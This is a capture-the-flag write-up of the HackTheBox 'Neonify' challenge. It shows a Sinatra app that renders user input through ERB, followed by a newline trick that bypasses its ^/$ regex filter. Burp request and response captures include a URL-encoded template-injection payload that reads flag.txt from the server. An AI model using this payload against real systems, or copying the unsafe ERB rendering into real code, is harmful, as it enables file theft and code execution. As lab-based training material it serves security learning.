

Neonify

1) Checked security

```
neon.rb U x
app > controllers > neon.rb
1  class NeonControllers < Sinatra::Base
2
3    configure do
4      set :views, "app/views"
5      set :public_dir, "public"
6    end
7
8    get '/' do
9      @neon = "Glow With The Flow"
10     erb :index
11   end
12
13   post '/' do
14     if params[:neon] =~ /^[0-9a-z ]+$/i
15       @neon = ERB.new(params[:neon]).result(binding)
16     else
17       @neon = "Malicious Input Detected"
18     end
19     erb :index
20   end
21
22 end
```

```
<> index.erb U X
app > views > <> index.erb
1 <!DOCTYPE html>
2 <html>
3 <head>
4   <title>Neonify</title>
5   <link rel="stylesheet" href="stylesheets/style.css">
6   <link rel="icon" type="image/gif" href="/images/gem.gif">
7 </head>
8 <body>
9   <div class="wrapper">
10     <h1 class="title">Amazing Neonify Generator</h1>
11     <form action="/" method="post">
12       <p>Enter Text to Neonify</p><br>
13       <input type="text" name="neon" value="">
14       <input type="submit" value="Submit">
15     </form>
16     <h1 class="glow"><%= @neon %></h1>
17   </div>
18 </body>
19 </html>
20
```

2) We can bypass the regex match by inserting a newline

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
<pre>1 POST / HTTP/1.1 2 Host: 94.237.52.115:48398 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: 5 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate, br 8 Content-Type: application/x-www-form-urlencoded 9 Content-Length: 15 10 Origin: http://94.237.52.115:48398 11 Connection: close 12 Referer: http://94.237.52.115:48398/ 13 Upgrade-Insecure-Requests: 1 14 neon=hel%0a.loo</pre>	<pre>1 HTTP/1.1 200 OK 2 Content-Type: text/html; charset=utf-8 3 Content-Length: 543 4 X-Xss-Protection: 1; mode=block 5 X-Content-Type-Options: nosniff 6 X-Frame-Options: SAMEORIGIN 7 Server: WEBrick/1.6.1 (Ruby/2.7.5/2021-11-24) 8 Date: Tue, 04 Jun 2024 17:07:44 GMT 9 Connection: close 10 11 <!DOCTYPE html> 12 <html> 13 <head> 14 <title> 15 Neonify 16 </title> 17 <link rel="stylesheet" href="stylesheets/style.css"> 18 <link rel="icon" type="image/gif" href="/images/gem.gif"> 19 </head> 20 <body> 21 <div class="wrapper"> 22 <h1 class="title"> 23 Amazing Neonify Generator 24 </h1> 25 <form action="/" method="post"> 26 <p> 27 Enter Text to Neonify 28 </p> 29
 30 <input type="text" name="neon" value=""> 31 <input type="submit" value="Submit"> 32 </form> 33 <h1 class="glow"> 34 hel 35 .loo 36 </h1> 37 </div> 38 </body> 39 </html></pre>

3) Got the flag

SendCancel<>>

Target: http://94.237.52.115:48398HTTP/1

Request

PrettyRawHex

1 POST / HTTP/1.1
2 Host: 94.237.52.115:48398
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 56
9 Origin: http://94.237.52.115:48398
10 Connection: close
11 Referer: http://94.237.52.115:48398/
12 Upgrade-Insecure-Requests: 1
13
14 neon=%0a%3c%25%3d%20File.open('flag.txt').read%20%25%3e

Response

PrettyRawHexRender

1 HTTP/1.1 200 OK
2 Content-Type: text/html; charset=utf-8
3 Content-Length: 562
4 X-Xss-Protection: 1; mode=block
5 X-Content-Type-Options: nosniff
6 X-Frame-Options: SAMEORIGIN
7 Server: WEBrick/1.6.1 (Ruby/2.7.5/2021-11-24)
8 Date: Tue, 04 Jun 2024 17:09:35 GMT
9 Connection: close
10
11 <!DOCTYPE html>
12 <html>
13 <head>
14 <title>
15 Neonify
16 </title>
17 <link rel="stylesheet" href="stylesheets/style.css">
18 <link rel="icon" type="image/gif" href="/images/gem.gif">
19 </head>
20 <body>
21 <div class="wrapper">
22 <h1 class="title">
23 Amazing Neonify Generator
24 </h1>
25 <form action="/" method="post">
26 <p>
27 Enter Text to Neonify
28 </p>
29 <input type="text" name="neon" value="">
30 <input type="submit" value="Submit">
31 </form>
32 <div class="glow">
33 a
34 HTB(r3pL4c3m3n7_s3cur1ty)
35 </div>
36 </div>
37 </body>
38 </html>
39
40

Inspector

Selection50 (0x32)

Selected text
%0a%3c%25%3d%20File.open('flag.txt').read%20%25%3e

Decoded from: URL encoding
\n
File.open('flag.txt').read %>

CancelApply changes

Request attributes2
Request query parameters0
Request body parameters1
Request cookies0
Request headers11
Response headers8